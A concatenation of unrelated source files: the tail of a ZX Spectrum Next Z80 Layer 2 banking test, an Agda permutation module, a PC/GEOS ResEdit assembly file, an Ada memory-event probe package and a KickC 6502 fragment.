(c),a ld bc,%110'000'00'000'110'00 ; red:green (Bad:Correct) ex af,af .aR=$+1:ld a,($1000) cp iyl call DisplayResultDot ld bc,%111'000'00'000'111'00 ; red:green (Bad:Correct) ld a,iyl .aW=$+1:ld ($1001),a NEXTREG_A MMU7_E000_NR_57 cp (ix+1) call DisplayResultDot inc l inc l inc iyl inc iyl ex af,af inc a cp LAYER2_ACCESS_BANK_OFFSET|8 jr nz,.doNextBankOffset pop iy pop hl inc h ; +3 pixel lines down inc h inc h pop af ret DisplayResultDot: ; IYH = 8ki page number for result output (for MMU7_E000 slot) ; ZF = correctness, HL = target adr, BC = colors (bad:correct) ; E = global result tracking (will be damaged in case of incorrect result ; output: HL+=2, updated E, modifies: AF, MMU7_E000 mapping ld a,iyh NEXTREG_A MMU7_E000_NR_57 ld a,c ; "correct" color jr z,.isCorrectResult res 7,e ; mark error in total result ld a,b ; "bad" color .isCorrectResult: ld (hl),a ; draw 2x2 dot inc h ld (hl),a inc l ld (hl),a dec h ld (hl),a inc l ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; utility functions CumulateErrorAndDisplay: ; A = bank to write result to, HL = address to draw at NEXTREG_A MMU7_E000_NR_57 ; cumulate the error results in register E ld a,d and e ld e,a ; display results (rectangle 7x8 split into 4 parts horizontally green/red) ;;; continue into DisplayResultSquare DisplayResultSquare: ; D = %xxxx'0000 => results, x=1 OK, x=0 BAD call .TwoValues ; two values + two values = (all) four values .TwoValues: call .OneValue ; one + one value = two values .OneValue: ld a,%111'000'00 ; red rl d jr nc,.wasBad ld a,%000'111'00 ; green .wasBad: call .OnePixelRow ; one + one row = two rows and %110'110'11 ; darken the color a bit for second row .OnePixelRow: ld b,6 push hl .rowLoop: ld (hl),a inc l djnz .rowLoop pop hl inc h ret ; display legend in ULA screen text OutputLegend: ; new part of test - bank offset legend ld de,MEM_ZX_SCREEN_4000+32*8*16 ; third third ld hl,LegendBankOffset ld b,LegendBankOffset.lines .bankOfsLegendLoop: call OutStringAtDe ld a,e add a,32 ld e,a djnz .bankOfsLegendLoop ; old parts of test ld de,MEM_ZX_SCREEN_4000 ld hl,LegendNr12 call OutStringAtDe ld de,MEM_ZX_SCREEN_4000+32*8*8 ; second third ld hl,LegendNr13 call OutStringAtDe ; display lines for separate tests ld de,MEM_ZX_SCREEN_4000+32 ; second line call .BatchLoop ld de,MEM_ZX_SCREEN_4000+32*8*8+32 ; ninth line .BatchLoop: ld b,6 ld hl,LegendTests .StringLoop: call OutStringAtDe ld a,e add a,32 ld e,a djnz .StringLoop ret FillLayer2Banks: ld a,9*2 .fillVisibleL2: ld c,$E3 call .fill8kiB inc a cp 12*2 jr nz,.fillVisibleL2 .fillShadowL2: ld c,$E0 call .fill8kiB inc a cp 15*2 jr nz,.fillShadowL2 ret .fill8kiB: ; A = page to map into MMU7, C = color to fill, modifies HL,DE,BC NEXTREG_A MMU7_E000_NR_57 ld hl,$E000 ld de,$E001 ld (hl),c ld bc,$1FFF ldir ret ASSERT $ < $E000 savesna "L2Port.sna", Start
Univalence/Swaps.agda
JacquesCarette/pi-dual
14
12835
{-# OPTIONS --without-K #-} module Swaps where -- Intermediate representation of permutations to prove soundness and -- completeness open import Level using (Level; _⊔_) renaming (zero to lzero; suc to lsuc) open import Relation.Binary.PropositionalEquality using (_≡_; refl; sym; trans; subst; subst₂; cong; cong₂; setoid; inspect; [_]; proof-irrelevance; module ≡-Reasoning) open import Relation.Binary.PropositionalEquality.TrustMe using (trustMe) open import Relation.Nullary using (Dec; yes; no; ¬_) open import Data.Nat.Properties using (m≢1+m+n; i+j≡0⇒i≡0; i+j≡0⇒j≡0; n≤m+n) open import Data.Nat.Properties.Simple using (+-right-identity; +-suc; +-assoc; +-comm; *-assoc; *-comm; *-right-zero; distribʳ-*-+) open import Data.Nat.DivMod using (_mod_) open import Relation.Binary using (Rel; Decidable; Setoid) open import Relation.Binary.Core using (Transitive) open import Data.String using (String) renaming (_++_ to _++S_) open import Data.Nat.Show using (show) open import Data.Bool using (Bool; false; true; T) open import Data.Nat using (ℕ; suc; _+_; _∸_; _*_; _<_; _≮_; _≤_; _≰_; z≤n; s≤s; _≟_; _≤?_; module ≤-Reasoning) open import Data.Fin using (Fin; zero; suc; toℕ; fromℕ; _ℕ-_; _≺_; raise; inject+; inject₁; inject≤; _≻toℕ_) renaming (_+_ to _F+_) open import Data.Fin.Properties using (bounded; inject+-lemma) open import Data.Vec.Properties using (lookup∘tabulate; tabulate∘lookup; lookup-allFin; tabulate-∘; tabulate-allFin; map-id; allFin-map) open import Data.List using (List; []; _∷_; _∷ʳ_; foldl; replicate; reverse; downFrom; concatMap; gfilter; initLast; InitLast; _∷ʳ'_) renaming (_++_ to _++L_; map to mapL; concat to concatL; zip to zipL) open import Data.List.NonEmpty using (List⁺; module List⁺; [_]; _∷⁺_; head; last; _⁺++_) renaming (toList to nonEmptyListtoList; _∷ʳ_ to _n∷ʳ_; tail to ntail) open List⁺ public open import Data.List.Any using (Any; here; there; any; module Membership) open import Data.Maybe using (Maybe; nothing; just; maybe′) open import Data.Vec using (Vec; tabulate; []; _∷_; tail; lookup; zip; zipWith; splitAt; _[_]≔_; allFin; toList) renaming (_++_ to _++V_; map to mapV; concat to concatV) open import Function using (id; _∘_; _$_) open import Data.Empty using (⊥; ⊥-elim) open import Data.Unit using (⊤; tt) open import Data.Sum using (_⊎_; inj₁; inj₂) open import Data.Product using (Σ; _×_; _,_; proj₁; proj₂) open import Cauchy open import Perm open import Proofs open import CauchyProofs open import CauchyProofsT open import CauchyProofsS open import Groupoid open import PiLevel0 ------------------------------------------------------------------------------ -- Representation of a permutation as a product of "transpositions." -- This product is not commutative; we apply it from left to -- right. Because we eventually want to normalize permutations to some -- canonical representation, we insist that the first component of a -- transposition is always ≤ than the second infix 90 _X_ data Transposition (n : ℕ) : Set where _X_ : (i j : Fin n) → {p : toℕ i ≤ toℕ j} → Transposition n i≰j→j≤i : (i j : ℕ) → (i ≰ j) → (j ≤ i) i≰j→j≤i i 0 p = z≤n i≰j→j≤i 0 (suc j) p with p z≤n i≰j→j≤i 0 (suc j) p | () i≰j→j≤i (suc i) (suc j) p with i ≤? j i≰j→j≤i (suc i) (suc j) p | yes p' with p (s≤s p') i≰j→j≤i (suc i) (suc j) p | yes p' | () i≰j→j≤i (suc i) (suc j) p | no p' = s≤s (i≰j→j≤i i j p') mkTransposition : {n : ℕ} → (i j : Fin n) → Transposition n mkTransposition {n} i j with toℕ i ≤? toℕ j ... | yes p = _X_ i j {p} ... | no p = _X_ j i {i≰j→j≤i (toℕ i) (toℕ j) p} Transposition* : ℕ → Set Transposition* n = List (Transposition n) -- Representation of a permutation as a product of cycles where each -- cycle is a non-empty sequence of indices Cycle : ℕ → Set Cycle n = List⁺ (Fin n) Cycle* : ℕ → Set Cycle* n = List (Cycle n) -- Convert cycles to products of transpositions cycle→transposition* : ∀ {n} → Cycle n → Transposition* n cycle→transposition* c = mapL (mkTransposition (head c)) (reverse (ntail c)) cycle*→transposition* : ∀ {n} → Cycle* n → Transposition* n cycle*→transposition* cs = concatMap cycle→transposition* cs -- Convert from Cauchy representation to product of cycles -- Helper that checks if there is a cycle that starts at i -- Returns the cycle containing i and the rest of the permutation -- without that cycle findCycle : ∀ {n} → Fin n → Cycle* n → Maybe (Cycle n × Cycle* n) findCycle i [] = nothing findCycle i (c ∷ cs) with toℕ i ≟ toℕ (head c) findCycle i (c ∷ cs) | yes _ = just (c , cs) findCycle i (c ∷ cs) | no _ = maybe′ (λ { (c' , cs') → just (c' , c ∷ cs') }) nothing (findCycle i cs) -- Another helper that repeatedly tries to merge smaller cycles {-# NO_TERMINATION_CHECK #-} mergeCycles : ∀ {n} → Cycle* n → Cycle* n mergeCycles [] = [] mergeCycles (c ∷ cs) with findCycle (last c) cs mergeCycles (c ∷ cs) | nothing = c ∷ mergeCycles cs mergeCycles (c ∷ cs) | just (c' , cs') = mergeCycles ((c ⁺++ ntail c') ∷ cs') -- To convert a Cauchy representation to a product of cycles, just create -- a cycle of size 2 for each entry and then merge the cycles cauchy→cycle* : ∀ {n} → Cauchy n → Cycle* n cauchy→cycle* {n} perm = mergeCycles (toList (zipWith (λ i j → i ∷⁺ Data.List.NonEmpty.[ j ]) (allFin n) perm)) -- Cauchy to product of transpostions cauchy→transposition* : ∀ {n} → Cauchy n → Transposition* n cauchy→transposition* = cycle*→transposition* ∘ cauchy→cycle* ------------------------------------------------------------------------------ -- Main functions -- A permutation between t₁ and t₂ has three components in the Cauchy -- representation: the map π of each element to a new position and a -- proof that the sizes of the domain and range are the same and that -- the map is injective. TPermutation : U → U → Set TPermutation t₁ t₂ = size t₁ ≡ size t₂ × Permutation (size t₁) -- A view of (t : U) as normalized types. -- Let size t be n then the normalized version of t is the type -- (1 + (1 + (1 + (1 + ... 0)))) i.e. Fin n. fromSize : ℕ → U fromSize 0 = ZERO fromSize (suc n) = PLUS ONE (fromSize n) canonicalU : U → U canonicalU = fromSize ∘ size size+ : (n₁ n₂ : ℕ) → PLUS (fromSize n₁) (fromSize n₂) ⟷ fromSize (n₁ + n₂) size+ 0 n₂ = unite₊ size+ (suc n₁) n₂ = assocr₊ ◎ (id⟷ ⊕ size+ n₁ n₂) size* : (n₁ n₂ : ℕ) → TIMES (fromSize n₁) (fromSize n₂) ⟷ fromSize (n₁ * n₂) size* 0 n₂ = absorbr size* (suc n₁) n₂ = dist ◎ (unite⋆ ⊕ size* n₁ n₂) ◎ size+ n₂ (n₁ * n₂) normalizeC : (t : U) → t ⟷ canonicalU t normalizeC ZERO = id⟷ normalizeC ONE = uniti₊ ◎ swap₊ normalizeC (PLUS t₀ t₁) = (normalizeC t₀ ⊕ normalizeC t₁) ◎ size+ (size t₀) (size t₁) normalizeC (TIMES t₀ t₁) = (normalizeC t₀ ⊗ normalizeC t₁) ◎ size* (size t₀) (size t₁) -- Given a normalized type Fin n and two indices 'a' and 'b' generate the code -- to swap the two indices. Ex: -- swapFin {3} "0" "1" should produce the permutation: -- assocl₊ ◎ (swap₊ ⊕ id⟷) ◎ assocr₊ : -- PLUS ONE (PLUS ONE (PLUS ONE ZERO)) ⟷ PLUS ONE (PLUS ONE (PLUS ONE ZERO)) swapFin : {n : ℕ} → (a b : Fin n) → (leq : toℕ a ≤ toℕ b) → fromSize n ⟷ fromSize n swapFin zero zero z≤n = id⟷ swapFin zero (suc zero) z≤n = assocl₊ ◎ (swap₊ ⊕ id⟷) ◎ assocr₊ swapFin zero (suc (suc b)) z≤n = (assocl₊ ◎ (swap₊ ⊕ id⟷) ◎ assocr₊) ◎ (id⟷ ⊕ swapFin zero (suc b) z≤n) ◎ (assocl₊ ◎ (swap₊ ⊕ id⟷) ◎ assocr₊) swapFin (suc a) zero () swapFin (suc a) (suc b) (s≤s leq) = id⟷ ⊕ swapFin a b leq -- permutation to combinator transposition*2c : (m n : ℕ) (m≡n : m ≡ n) → Transposition* m → (fromSize m ⟷ fromSize n) transposition*2c m n m≡n [] rewrite m≡n = id⟷ transposition*2c m n m≡n (_X_ i j {leq} ∷ π) rewrite m≡n = swapFin i j leq ◎ transposition*2c n n refl π perm2c : {t₁ t₂ : U} → TPermutation t₁ t₂ → (t₁ ⟷ t₂) perm2c {t₁} {t₂} (s₁≡s₂ , (π , inj)) = normalizeC t₁ ◎ transposition*2c (size t₁) (size t₂) s₁≡s₂ (cauchy→transposition* π) ◎ (! (normalizeC t₂)) ------------------------------------------------------------------------------
Appl/Tools/Localize/Main/mainList.asm
steakknife/pcgeos
504
164421
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: PC GEOS MODULE: ResEdit /Main FILE: mainList.asm AUTHOR: <NAME>, Feb 16, 1993 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- cassie 2/16/93 Initial revision DESCRIPTION: code to implement the mnemonic list $Id: mainList.asm,v 1.1 97/04/04 17:13:28 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ idata segment ResEditValueClass ResEditMnemonicTextClass idata ends MainListCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ResEditValueIncrement %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Go to the next mnemonic CALLED BY: GLOBAL (MSG_GEN_VALUE_INCREMENT) PASS: *DS:SI = ResEditValueClass object DS:DI = ResEditValueClassInstance RETURN: Nothing DESTROYED: AX, BX, DX, DI, SI PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Don 10/19/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ResEditValueIncrement method dynamic ResEditValueClass, MSG_GEN_VALUE_INCREMENT mov dx, MC_FORWARD GOTO ResEditValueChange ResEditValueIncrement endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ResEditValueDecrement %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Go to the previous mnemonic CALLED BY: GLOBAL (MSG_GEN_VALUE_DECREMENT) PASS: *DS:SI = ResEditValueClass object DS:DI = ResEditValueClassInstance RETURN: Nothing DESTROYED: AX, BX, DX, DI, SI PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Don 10/19/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ResEditValueDecrement method dynamic ResEditValueClass, MSG_GEN_VALUE_DECREMENT mov dx, MC_BACKWARD FALL_THRU ResEditValueChange ResEditValueDecrement endm ResEditValueChange proc far push si GetResourceSegmentNS ResEditDocumentClass, es mov bx, es mov si, offset ResEditDocumentClass mov di, mask MF_RECORD mov ax, MSG_RESEDIT_DOCUMENT_CHANGE_MNEMONIC call ObjMessage mov cx, di pop si mov bx, ds:[LMBH_handle] mov dx, TO_OBJ_BLOCK_OUTPUT mov ax, MSG_META_SEND_CLASSED_EVENT clr di GOTO ObjMessage ResEditValueChange endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ResEditValueGetValueText %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get the text for this object, which is always NULL CALLED BY: GLOBAL (MSG_GEN_VALUE_GET_VALUE_TEXT) PASS: *DS:SI = ResEditValueClass object DS:DI = ResEditValueClassInstance CX:DX = Buffer to fill BP = GenValueType RETURN: CX:DX = Filled buffer DESTROYED: AX, DI, ES PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cassie 2/18/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ResEditValueGetValueText method dynamic ResEditValueClass, MSG_GEN_VALUE_GET_VALUE_TEXT .enter ; Return the shortest string possible, which I ; will assume is a space followed by a NULL. ; Returning a NULL string is useless for size determination ; mov es, cx mov di, dx if DBCS_PCGEOS mov ax, C_SPACE ; space followed by NULL stosw clr ax stosw else mov ax, ' ' ; space followed by NULL stosw endif .leave ret ResEditValueGetValueText endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MnemonicTextKbdChar %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Intercept keyboard chars to do some special things. CALLED BY: MSG_META_KBD_CHAR PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of ResEditMnemonicTextClass ax - the message cl - character (Chars or VChar) ch - CharacterSet (CS_BSW or CS_CONTROL) dl = CharFlags dh = ShiftState bp low = ToggleState bp high = scan code RETURN: nothing DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: If Del or Backspace, delete all text, change mnemonic to NIL. If whitespace (except blank), ignore. Otherwise, process as normal. KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cassie 5/13/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MnemonicTextKbdChar method dynamic ResEditMnemonicTextClass, MSG_META_KBD_CHAR test dl, mask CF_FIRST_PRESS jz passOn if not DBCS_PCGEOS cmp ch, CS_CONTROL jne passOn endif SBCS< cmp cl, VC_BACKSPACE > DBCS< cmp cx, C_SYS_BACKSPACE > je deleteAll SBCS< cmp cl, VC_DEL > DBCS< cmp cx, C_DELETE > je deleteAll SBCS< cmp cl, VC_TAB > DBCS< cmp cx, C_SYS_TAB > je done SBCS< cmp cl, VC_ENTER > DBCS< cmp cx, C_SYS_ENTER > je done SBCS< cmp cl, VC_LF > DBCS< cmp cx, C_LF > je done passOn: mov di, offset ResEditMnemonicTextClass call ObjCallSuperNoLock done: ret deleteAll: push si GetResourceSegmentNS ResEditDocumentClass, es mov bx, es mov si, offset ResEditDocumentClass mov di, mask MF_RECORD mov ax, MSG_RESEDIT_DOCUMENT_DELETE_MNEMONIC call ObjMessage mov cx, di pop si mov bx, ds:[LMBH_handle] mov dx, TO_OBJ_BLOCK_OUTPUT mov ax, MSG_META_SEND_CLASSED_EVENT clr di GOTO ObjMessage MnemonicTextKbdChar endm MainListCode ends
mat/src/memory/mat-memory-probes.adb
stcarrez/mat
7
14993
<gh_stars>1-10 ----------------------------------------------------------------------- -- mat-memory-probes - Definition and Analysis of memory events -- Copyright (C) 2014, 2015 <NAME> -- Written by <NAME> (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- with Util.Log.Loggers; with MAT.Types; with MAT.Readers.Marshaller; with MAT.Memory; package body MAT.Memory.Probes is -- The logger Log : constant Util.Log.Loggers.Logger := Util.Log.Loggers.Create ("MAT.Memory.Probes"); M_SIZE : constant MAT.Events.Internal_Reference := 1; M_FRAME : constant MAT.Events.Internal_Reference := 2; M_ADDR : constant MAT.Events.Internal_Reference := 3; M_OLD_ADDR : constant MAT.Events.Internal_Reference := 4; M_THREAD : constant MAT.Events.Internal_Reference := 5; M_UNKNOWN : constant MAT.Events.Internal_Reference := 6; M_TIME : constant MAT.Events.Internal_Reference := 7; -- Defines the possible data kinds which are recognized by -- the memory unmarshaller. All others are ignored. SIZE_NAME : aliased constant String := "size"; FRAME_NAME : aliased constant String := "frame"; ADDR_NAME : aliased constant String := "pointer"; OLD_NAME : aliased constant String := "old-pointer"; THREAD_NAME : aliased constant String := "thread"; TIME_NAME : aliased constant String := "time"; Memory_Attributes : aliased constant MAT.Events.Attribute_Table := (1 => (Name => SIZE_NAME'Access, Size => 0, Kind => MAT.Events.T_SIZE_T, Ref => M_SIZE), 2 => (Name => FRAME_NAME'Access, Size => 0, Kind => MAT.Events.T_FRAME, Ref => M_FRAME), 3 => (Name => ADDR_NAME'Access, Size => 0, Kind => MAT.Events.T_POINTER, Ref => M_ADDR), 4 => (Name => OLD_NAME'Access, Size => 0, Kind => MAT.Events.T_POINTER, Ref => M_OLD_ADDR), 5 => (Name => THREAD_NAME'Access, Size => 0, Kind => MAT.Events.T_THREAD, Ref => M_THREAD), 6 => (Name => TIME_NAME'Access, Size => 0, Kind => MAT.Events.T_TIME, Ref => M_TIME)); procedure Unmarshall_Allocation (Msg : in out MAT.Readers.Message; Size : in out MAT.Types.Target_Size; Addr : in out MAT.Types.Target_Addr; Old_Addr : in out MAT.Types.Target_Addr; Defs : in MAT.Events.Attribute_Table); ---------------------- -- Register the reader to extract and analyze memory events. ---------------------- procedure Register (Into : in out MAT.Events.Probes.Probe_Manager_Type'Class; Probe : in Memory_Probe_Type_Access) is begin Into.Register_Probe (Probe.all'Access, "malloc", MAT.Events.MSG_MALLOC, Memory_Attributes'Access); Into.Register_Probe (Probe.all'Access, "free", MAT.Events.MSG_FREE, Memory_Attributes'Access); Into.Register_Probe (Probe.all'Access, "realloc", MAT.Events.MSG_REALLOC, Memory_Attributes'Access); end Register; ---------------------- -- Unmarshall from the message the memory slot information. -- The data is described by the Defs table. ---------------------- procedure Unmarshall_Allocation (Msg : in out MAT.Readers.Message_Type; Size : in out MAT.Types.Target_Size; Addr : in out MAT.Types.Target_Addr; Old_Addr : in out MAT.Types.Target_Addr; Defs : in MAT.Events.Attribute_Table) is begin for I in Defs'Range loop declare Def : MAT.Events.Attribute renames Defs (I); begin case Def.Ref is when M_SIZE => Size := MAT.Readers.Marshaller.Get_Target_Size (Msg, Def.Kind); when M_ADDR => Addr := MAT.Readers.Marshaller.Get_Target_Addr (Msg, Def.Kind); when M_OLD_ADDR => Old_Addr := MAT.Readers.Marshaller.Get_Target_Addr (Msg, Def.Kind); when M_UNKNOWN => MAT.Readers.Marshaller.Skip (Msg, Def.Size); when others => MAT.Readers.Marshaller.Skip (Msg, Def.Size); end case; end; end loop; end Unmarshall_Allocation; ---------------------- -- Extract the probe information from the message. ---------------------- overriding procedure Extract (Probe : in Memory_Probe_Type; Params : in MAT.Events.Const_Attribute_Table_Access; Msg : in out MAT.Readers.Message_Type; Event : in out MAT.Events.Target_Event_Type) is pragma Unreferenced (Probe); begin case Event.Index is when MAT.Events.MSG_MALLOC => Unmarshall_Allocation (Msg, Event.Size, Event.Addr, Event.Old_Addr, Params.all); when MAT.Events.MSG_FREE => Unmarshall_Allocation (Msg, Event.Size, Event.Addr, Event.Old_Addr, Params.all); when MAT.Events.MSG_REALLOC => Unmarshall_Allocation (Msg, Event.Size, Event.Addr, Event.Old_Addr, Params.all); when others => Log.Error ("Invalid event {0} for memory extract probe", MAT.Events.Probe_Index_Type'Image (Event.Index)); raise Program_Error; end case; end Extract; procedure Execute (Probe : in Memory_Probe_Type; Event : in out MAT.Events.Target_Event_Type) is Slot : Allocation; begin Slot.Size := Event.Size; Slot.Thread := Event.Thread; Slot.Time := Event.Time; Slot.Frame := Event.Frame; Slot.Event := Event.Id; case Event.Index is when MAT.Events.MSG_MALLOC => Probe.Data.Probe_Malloc (Event.Addr, Slot); when MAT.Events.MSG_FREE => Probe.Data.Probe_Free (Event.Addr, Slot, Event.Size, Event.Prev_Id); Probe.Update_Event (Event.Id, Event.Size, Event.Prev_Id); when MAT.Events.MSG_REALLOC => Probe.Data.Probe_Realloc (Event.Addr, Event.Old_Addr, Slot, Event.Old_Size, Event.Prev_Id); Probe.Update_Event (Event.Id, Event.Old_Size, Event.Prev_Id); when others => Log.Error ("Invalid event {0} for memory execute probe", MAT.Events.Probe_Index_Type'Image (Event.Index)); raise Program_Error; end case; end Execute; end MAT.Memory.Probes;
src/main/fragment/mos6502-common/vwum1=_deref_pwuz2_plus_vwum3.asm
jbrandwood/kickc
2
99101
ldy #0 lda ({z2}),y clc adc {m3} sta {m1} iny lda ({z2}),y adc {m3}+1 sta {m1}+1